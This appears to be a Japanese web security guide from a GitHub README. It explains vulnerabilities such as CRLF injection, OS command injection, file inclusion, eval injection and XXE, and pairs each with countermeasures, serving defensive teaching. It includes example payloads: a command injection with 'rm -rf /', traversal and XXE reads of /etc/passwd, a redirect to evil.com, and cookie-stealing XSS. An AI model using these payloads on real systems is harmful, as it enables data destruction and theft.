Webセキュリティガイド

🛡️Webセキュリティのプラクティス集

日々コンテンツの追加・更新を行っています。現在のコンテンツは目次を参照してください。

内容に誤りや誤解を招く表現などありましたら、Discussions経由でご指摘いただけますと幸いです。修正させていただきます。簡単な質問や緩いコミュニケーションも常にWelcomeなので、Discussionsでコメントください！！

本レポジトリの使い方

以下のような活用方法を想定しています。

安全なWebアプリケーションの作り方や安全なWebサイトの作り方を読む前に概要を把握したい
Webセキュリティの要点を手っ取り早く理解したい

Cookie
- Cookieのセキュアな設定方法
- Cookieの不適切な利用による脆弱性
リダイレクトに関する脆弱性
- オープンリダイレクト脆弱性
- HTTP ヘッダ・インジェクション（CRLF インジェクション）
メール送信機能に関する脆弱性
- メールヘッダ・インジェクション
ファイルアクセスに関する脆弱性
- ディレクトリ・トラバーサル
OSコマンドに関する脆弱性
- OSコマンド・インジェクション
ファイルアップロードに関する脆弱性
ファイルインクルードに関する脆弱性
- ファイルインクルード攻撃
構造化データの読み込みに関する脆弱性
共有資源やキャッシュに関する脆弱性
- 競合状態に関する脆弱性
- キャッシュからの情報漏洩
Web API実装に関する脆弱性
- JSONエスケープの不備
- JSON直接閲覧によるXSS
参考

Cookie

Cookie のセキュアな設定方法

Cookieをセキュアに使用するため、適切にCookieの属性を設定することが必要。

Cookie の不適切な利用による脆弱性

概要

複数のページで使用したいデータを Cookie に保管すると、意図しない形で脆弱性につながることがある。

古典的なセッション管理（サーバーサイドセッション）を使用するアプリケーションにおいて、ユーザー ID やユーザーの権限情報を Cookie に保管すると、利用者が Cookie の値を書き換えることで、権限外の操作ができるようになってしまう。

原因

利用者によるCookie値の書き換え。

対策

基本的には、Session ID のみを Cookie に保管し、ユーザー ID や権限情報は、サーバ側のメモリやデータベースで管理する。CookieをHttpOnlyにすることでJavaScriptによるCookieの書き換えを防ぐことはできるが、ブラウザの検証ツールから直接Cookieの書き換えができてしまうので、Session ID以外はサーバ側で管理。

リダイレクトに関する脆弱性

1. オープンリダイレクト脆弱性

概要

具体例として、クエリパラメータの next の値をそのままレスポンスヘッダにセットする実装が Web アプリに存在する場合を考える。

まず攻撃者が、以下のリンクをメールや SNS などで拡散する。example.comの利用者がそのリンクを踏んでログインすると、next パラメータで指定したパスにリダイレクトする。リダイレクト先の罠ページで個人情報を入力すると、個人情報が漏洩する。（フィッシング）

https://example.com/login?next=https://evil.com/phishing

原因

外部からリダイレクト先の URL を指定できる場合に脆弱性が生まれる。

対策

リダイレクト先の URL を固定する
リダイレクト先の URL をそのまま指定せず、番号指定する
リダイレクト先の URL をチェックし、許可された URL にのみ遷移する

2. HTTP ヘッダ・インジェクション（CRLF インジェクション）

概要

具体例として、クエリパラメータの next の値をそのままレスポンスヘッダにセットする実装が Web アプリに存在する場合を考える。

まず攻撃者が、以下のリンクをメールや SNS などで拡散する。

https://example.com/login?next=/dashboard%0d%0aLocation:https://evil.com

example.com の利用者がそのリンクを踏んでログインすると、dashboard に遷移するはずが、URL に改行（%0d%0a）が含まれることで、Location ヘッダが二重で生成され、最後の Location ヘッダのみがレスポンスとして返される。それにより、罠ページであるhttps://evil.comに遷移する。

Location: /dashboard
Location: https://evil.com

その他にも、攻撃者が%0d%0aSet-Cookie:+SESSIONID=123を URL に追加することで、Set-Cookie ヘッダをインジェクションし、レスポンスとして返却することで、任意の Cookie が利用者のブラウザに保存される。それにより、セッション ID の固定化攻撃が可能になる。

また、以下のように URL に改行を２つ追加することで、任意のコンテンツをレスポンスボディとして返却し、ブラウザに表示させることも可能である。それらのコンテンツには、単なる文字列だけでなく、<html></html> や <script></script>も含まれるので、結果的に XSS 攻撃につながる。

https://example.com/login?next=/dashboard%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

原因

HTTP ヘッダは、改行で各ヘッダが区切られ、１行に 1 つのヘッダを持つ構造をしている。そのため、改行をそのまま出力することで、HTTP ヘッダ・インジェクション脆弱性が生まれる。

対策

外部から入力されたパラメータをレスポンスヘッダとしてそのまま出力せず、Web 開発用の言語・フレームワークで提供されているヘッダ出力用 API を使用する。API が提供されていない場合は、開発者が改行文字を許可しない実装を行う。

参考

安全なウェブサイトの作り方 - 1.7 HTTP ヘッダ・インジェクション

メール送信機能に関する脆弱性

メールヘッダ・インジェクション

概要

メール送信用フォームを持つ Web アプリで発生する脆弱性。

具体例として、以下のような問い合わせフォームを持つ Web アプリを考える。このフォームは、利用者のメールアドレスと本文を受け取り、Web アプリの管理者に問い合わせのメールを送信する。

<form action="http://example.com" method="post">
    メールアドレス: <textarea name="from" rows="4"></textarea> 
    本文:<textarea name="body" rows="10"></textarea>
    <button type="submit">送信</button>
</form>

ユーザーがメールアドレス欄に以下のような入力をした場合、

[email protected]
Bcc: [email protected]

アプリケーションが改行を適切に処理しないままヘッダとして出力する場合、以下のようなメールヘッダが作成される。結果として、Bcc で第三者にメールを送信できてしまう。

From: [email protected]
Bcc: [email protected]

今回の例は宛先の追加だけだが、本文の改ざんや添付ファイル（ウイルスファイル）の送信も可能なので、それらを組み合わせることで、問い合わせフォーム経由で第三者に迷惑メールの送信が可能となる。

原因

メールメッセージの形式は HTTP と似た形式を持っている。具体的には、各ヘッダが改行で区切られ、空行の後にボディが続くという形式である。そのため、アプリケーションが外部から入力された改行付きのパラメータをヘッダとしてそのまま使用することで、脆弱性が生まれる。

対策

メール送信専用のライブラリを使用する
外部から入力されたパラメータをヘッダで使用しない
外部から入力されたパラメータに改行が含まれないかチェックする
保険的対策として、件名とメールアドレスの入力値検証を行う

ファイルアクセスに関する脆弱性

ディレクトリ・トラバーサル

概要

外部からのパラメータでファイル名を直接指定できるアプリケーションで、ファイル名のチェックが不十分の場合、外部からのアクセスを想定していないサーバ内のファイルの閲覧、改ざん、削除が可能となる。

以下のようにクエリパラメータfileにファイル名を指定することで、/var/public/public.txtへのアクセスを想定するケースで、

http://example.com/profile?file=public.txt

ディレクトリ名（../やetc/）を含むファイル名を指定すると、/etc/private.txtという外部へ公開してはいけないファイルが露出してしまう。

http://example.com/profile?file=../../etc/private.txt

原因

外部からファイル名を指定できる
ファイル名でディレクトリ名を指定できる（../など）
外部から渡されたファイル名をチェックしていない

対策

外部からファイル名を指定できない仕様にする（ファイル名を固定にする etc...）
ファイル名にディレクトリ名が含まれないようにする
ファイル名を英数字のみに限定する（ヌルバイトなどの制限文字を許可しない）
Webサーバ内のファイルにアクセス権限を設定する

OSコマンドに関する脆弱性

OSコマンド・インジェクション

概要

OSコマンド・インジェクション攻撃による被害は以下のように多岐にわたり影響も大きいため、対策が必要。

サーバ内ファイルの閲覧、改ざん、削除
不正なシステム操作
不正なプログラムのダウンロード
別システムへの攻撃の踏み台

OSコマンド・インジェクション脆弱性が存在するアプリケーションでは、ユーザーからの入力値をチェックせずに、OSコマンドのパラメータとしてそのまま渡してしまうと、意図しないコマンドが実行可能になり、重大な被害を生む可能性がある。

例えば、ユーザーから送信元メールアドレスを受け取り、OSコマンド呼び出しによりメールを送信する機能があるとする。通常の入力例は [email protected]。しかし、悪意のあるユーザーが以下のように入力した場合、

[email protected]; rm -rf /

;はシェルにおけるコマンドの区切りとして解釈されるため、最初のメール送信用コマンドが終了した後に、続けてrm -rf / が実行されてしまい、システム上の全てのファイルが削除されることになる。

原因

シェル経由でOSコマンドを実行できる関数を利用している
その関数に外部からのパラメータを渡しており、そこに含まれるシェルのメタ文字（; |など）をエスケープしていない

対策

OSコマンドを直接呼び出さず、ライブラリが提供する関数を使用
シェル経由でコマンド呼び出しできる関数を使用せず、他の実装方法で代替。どうしても使用したい場合は、外部から入力されたパラメータをコマンドの引数で渡さない。引数で渡す場合は、シェルのメタ文字をエスケープする

ファイルアップロードに関する脆弱性

DoS攻撃

概要

ファイルアップロード機能を持つWebアプリに対して、大容量のファイルを繰り返しアップロードすることでサーバのCPUやメモリに過度な負荷をかけ、サービスを遅延または停止させる攻撃をDoS攻撃（Denial of Service Attack）という。

原因

アップロードできるファイルの容量制限の設定がないこと。

対策

アプリケーションまたはWebサーバで、アップロード可能なファイル容量を制限する設定を行う。

アップロードファイルがサーバ上で実行される脆弱性

概要

ファイルアップロード機能を持つWebアプリに対して、サーバで実行可能なスクリプトファイル（例：.php、.jspなど）をアップロードできてしまう場合、そのファイルがサーバ上で実行され、以下のような被害が発生する可能性がある。

サーバ内ファイルの閲覧、改ざん、削除
不正なシステム操作
別システムへの攻撃の踏み台

原因

利用者によってアップロードされたスクリプトファイルがWebサーバの公開ディレクトリに保存され、利用者がそれらを直接呼び出せる場合、サーバ上でプログラムが実行される
アップロードされたファイルがスクリプトとして実行可能な拡張子をもつ

対策

利用者によってアップロードされたファイルを公開ディレクトリに配置せず、利用者が直アクセスできないようにする。アプリケーション経由で閲覧させる
アップロードされたファイルの拡張子をチェックする

モダンなWebアプリでは、画像ファイルなどの静的コンテンツはオブジェクトストレージサービスやCDNから配信されることが一般的。その場合の対策方法については要確認。

ファイルダウンロード時のクロスサイト・スクリプティング脆弱性

概要

ファイルダウンロード時に間違ったContent-Typeが指定されると、XSSになる場合がある。例えば、以下のPDFファイルをレスポンスとして返却する際に、Content-Type: text/html や、間違ったContent-Typeが指定されていると、ブラウザがレスポンスを HTMLとして解釈し、<script> が実行されてしまう可能性がある。

<script>
    localStorage.getItem('access-token');
</script>

原因

間違ったContent-Typeの指定

対策

アップロードファイルがサーバ上で実行される脆弱性への対策と同様に、ファイルアップロード時に拡張子のチェックを行った上で、以下を行う。　

正しいContent-Typeの指定（必須）
レスポンスヘッダにX-Content-Type-Options: nosniffを追加（必須）

→ Content-Typeのみからコンテンツタイプを解釈するようになる
レスポンスヘッダにContent-Disposition: attachmentを追加（必要に応じて）

→ 以下を指定することで、ダウンロードしたファイルをアプリケーションで開くのではなく、ローカルに保存させる。

Content-Type: application/octet-stream（必要に応じて）
Content-Disposition: attachment; filename="defaultfilename.pdf"

PDFによるコンテンツハイジャック

概要

Adobeのエコシステムは、PDFファイルに埋め込むことができるFormCalcというスクリプト言語を提供している。Adobe Acrobat Readerプラグインを備えたブラウザで、FormCalcが埋め込まれたPDFを開くと、埋め込まれたスクリプトが実行される。そのURL関数を悪用することで、指定されたURLに不正なリクエストを送信し、Webサイトの正規ユーザーを装って秘密情報を取得する攻撃手法が存在する。

原因

Adobe Acrobat Readerの仕様

対策

PDFファイルのアップロード機能が必要かどうか検討する。必要な場合は以下の対策を行う。

PDFファイルをブラウザで開かず、ダウンロードする。ダウンロードを強制するために、以下のレスポンスヘッダを出力。
罠サイトに設置された<object>や<embed>要素経由でPDFファイルを開けないように、PDFファイルダウンロード時にPOSTリクエストのみを許可する

Content-Type: application/octet-stream（必要に応じて）
Content-Disposition: attachment; filename="defaultfilename.pdf"

ファイルインクルードに関する脆弱性

ファイルインクルード攻撃

概要

PHPなどのスクリプト言語では、include等を使用して別ファイルからソースの一部を読み込むことができる。その際に、include対象のファイル名を外部から指定できる場合、ファイルインクルード脆弱性が生まれる。

ファイルインクルード脆弱性には、大きく2種類ある。攻撃者が攻撃対象サーバ内のファイルに不正アクセスするローカルファイルインクルード（LFI）脆弱性と、悪意のあるファイルを実行するリモートファイルインクルード（RFI）脆弱性が存在する。　

ローカルファイルインクルード攻撃

クエリパラメータfileで指定されたファイル名をinclude対象のファイルとして動的に設定し、そのファイルの内容をブラウザに表示する実装が存在する場合を考える。

攻撃者がディレクトリ・トラバーサル攻撃を応用し、以下のURLを入力することで、Webサーバ上の/etc/passwdの内容が表示され、機密情報が漏洩する。

http://example.com/page.php?file=../../../../etc/passwd

リモートファイルインクルード攻撃

リモートファイルインクルードの場合は、攻撃者が外部サーバに用意した悪意のあるスクリプトをクエリパラメータfileに指定し、それがinclude対象のファイルとして動的に設定される場合、そのスクリプトがサーバ上で実行されることで、サイトの改ざんや、不正な機能の実行が可能になる。

http://example.com/page.php?file=http://www.trap.com/malicious

原因

include対象のファイルを外部から指定できる
include対象のファイル名のチェックをしていない

対策

基本的には、ディレクトリ・トラバーサルの対策と同じ。

外部からファイル名を指定できない仕様にする
ファイル名にディレクトリ名が含まれないようにする
ファイル名を英数字のみに限定する（ヌルバイトなどの制限文字を許可しない）

構造化データの読み込みに関する脆弱性

evalインジェクション

概要

プログラミング言語の中には、文字列で与えられた引数をコードとして解釈・実行するeval関数およびそれに相当する機能を提供しているものがある。その関数に、外部からのパラメータを直接渡している場合、スクリプトを注入できる脆弱性が存在する。

例えば、攻撃者が入力フォームにsystem("cat /etc/passwd");を入力し、以下のURLにGETリクエストが送信されるケースを考える。

http://example.com/page.php?data=system("cat /etc/passwd");

このとき、サーバ側でクエリパラメータdataの値をデシリアライズするために、eval関数にdataをそのまま渡す実装が存在する場合、system("cat /etc/passwd");がコードとして解釈・実行される。

今回のケースは、cat /etc/passwdの実行により、サーバ内の秘密情報が外部に漏洩する例だが、その他にもサイトの改ざんや、不正機能の実行など、OSコマンド・インジェクション攻撃と同様の被害が発生する。

原因

eval関数の使用自体が危険

→ MDN Web Docs や PHPドキュメントでもeval()を使用しないように言及されている
eval関数に与えるパラメータのチェックをしていない

対策

eval相当の関数・機能を使用しない
eval関数の引数に外部からのパラメータを渡さない。渡す場合は、外部からのパラメータを英数字のみに制限する

安全ではないデシリアライゼーション

概要

外部からの値をそのままデシリアライズする処理が存在するアプリケーションでは、デシリアライズにより意図しないオブジェクトが生成され、それらのメソッドが実行されることで、情報漏洩を含むOSコマンド・インジェクションと同様の被害が発生する可能性がある。

具体的には、攻撃者がシリアライズされたオブジェクトAをCookieやhiddenパラメータ経由で注入し、それがデシリアライズされることで、意図しない形でオブジェクトAがアプリケーション内に生成される。それにより、クラスAに__destruct()などのマジックメソッドが存在する場合（PHPのケース）、それらが実行されることで被害が発生する。　

ただし、外部から注入されたオブジェクトに対応するクラスがアプリケーション内に存在する必要がある。

原因

外部からのデータをそのままデシリアライズする処理が存在する

対策

シリアライズ形式ではなくJSONでデータを受け渡す
利用者が書き換えできるCookieやinputパラメータではなく、セッション変数を使用してシリアライズ形式のデータを受け渡しする

参考

PHPで安全でないデシリアライゼーションを学ぼう

XML外部実体参照（XXE）

概要

XMLには、外部実体参照機能という外部ファイルを参照する機能が存在し、それを悪用する攻撃をXML外部実体参照攻撃（XXE）と呼ぶ。XXEにより、情報漏洩や他システムへの踏み台攻撃が発生する。　　

具体的には、利用者がフォーム入力やファイルアップロード機能を通してXML形式のデータをサーバ側に送信できる場合を考える。以下のXML形式のデータがサーバに送信され、サーバ側でXMLをHTMLに変換し、Webページとして表示する実装が存在する場合、Webサーバ内の非公開ファイル/etc/passwdが外部に漏洩する可能性がある。

<!DOCTYPE foo [
  <!ENTITY email SYSTEM "/etc/passwd">
]>
<user>
  <email>&email;</email>
</user>

先の例では、Webサーバ内部のファイルの漏洩を扱ったが、SYSTEM "http://attacker.com" などのURLを指定することで外部リソースを読み込むことも可能である。

原因

XMLの持つ機能を悪用した攻撃であり、アプリケーションのバグではない

対策

XMLではなくJSONを使用する
XMLを使用する必要がある場合は、外部実体参照あるいはDTDを禁止する設定を行う

PHPのXMLパース処理で使用されるlibxml2というライブラリは、安全なWebアプリケーションの作り方第2版 p.369では、外部実体参照がデフォルトで無効になっているため、XXE脆弱性は存在しないと記載されている。しかし、「libxml2」にXXE脆弱性 - 利用アプリに影響で、libxml2のXXE脆弱性が言及されているため、アプリケーション側での対策が必要と思われる。　　

Javaの場合、多くのXMLパーサにおいて外部実体参照がデフォルトで有効なため、アプリケーション側でDTDを禁止するなどの対策が必要になる。DTDを無効にする方法については、XML 外部エンティティインジェクションを参照。

共有資源やキャッシュに関する脆弱性

競合状態に関する脆弱性

概要

複数のスレッドやプロセスが共有メモリ、ファイル、データベースなどの共有資源に同時にアクセスする場合、データや処理の整合性を保証するため、排他制御が必要である。しかし、排他制御が適切に実装されていない場合、他人の個人情報が表示されたり、データベースの不整合の問題などが発生する。　

原因

適切な排他制御の実装が行われていない

対策

共有資源に対して適切な排他制御を実装する

キャッシュからの情報漏洩

概要

Webアプリケーションの多くは、レスポンスの高速化や負荷分散のためにリバースプロキシやCDNなどのキャッシュ機能を使用している。しかし、キャッシュ設定に問題がある場合、情報漏洩につながることがある。

具体的には、アプリケーションが、ユーザー情報を含むマイページをCache-Control: public, max-age=180ヘッダとともにレスポンスとして返却すると、キャッシュサーバはそのページをキャッシュする。その後、他のユーザーがマイページ取得用のリクエストを送信すると、キャッシュサーバから別のユーザーの個人情報を含むマイページが返却され、ブラウザに表示されることで個人情報が漏洩する。

また、キャッシュサーバ側でキャッシュ制御用のレスポンスヘッダを無視する設定をしている場合、アプリケーション側で適切なキャッシュ制御を実装していても、それが無視されることで、意図しない形で情報漏洩する場合があるため、キャッシュサーバ側で適切なキャッシュ設定を行うことも重要である。

原因

以下により、キャッシュすべきではないコンテンツをキャッシュしたこと。

アプリケーション側のキャッシュ制御不備
キャッシュサーバ側のキャッシュ設定ミス

対策

アプリケーション側で適切なキャッシュ制御用のレスポンスヘッダを設定する
キャッシュサーバで適切なキャッシュ設定を行う

Web API実装に関する脆弱性

JSONエスケープの不備

概要

JSONやクロスオリジンリクエストで使用されるJSONPを使用する際に、eval関数を使用したJSONのデコードや、JSON生成時のエスケープ処理に不備が存在する場合、不正なJavaScriptが実行される可能性がある。

原因

JSON生成時に適切なエスケープ処理がされていない
JSONのデコード時にeval関数、またはそれに相当する機能を使用している
JSONPを使用している

対策

JSONのエンコード・デコード時に脆弱性のないライブラリを使用する
JSONPを使用しない。クロスオリジンリクエストの場合は、CORSを使用する

JSON直接閲覧によるXSS

概要

レスポンスボディでJSONを返却する際に、誤ってContent-Type: text/htmlを指定すると、ブラウザはレスポンスをHTMLとして解釈する。その結果、ブラウザにJSON文字列が直接表示され、JSON内の任意のスクリプトが実行される可能性がある。

以下のレスポンスボディ（抜粋）はその一例である。JSON文字列がHTMLとしてブラウザに表示された結果、画像読み込みの失敗により、onerror属性に設定されたalert(document.cookie)が実行される。

Content-Type: text/html; charset=utf-8
  
{"data" : "<img src=1 onerror=alert(document.cookie)>"}

原因

不適切なMIMEタイプ（Content-Type）の使用

対策

適切なMIMEタイプを指定する
→ Content-Type: application/json
X-Content-Type-Options: nosniffを併用する
→ ブラウザがContent-Type以外の情報（ファイルの拡張子や中身）からMIMEタイプを推測しないようにする
JSONでも<や>などのHTML特殊文字をエスケープする

Name		Name	Last commit message	Last commit date
Latest commit History 67 Commits
.gitignore		.gitignore
README.md		README.md

zakzackr/web-security-guide

Folders and files

Latest commit

History

Repository files navigation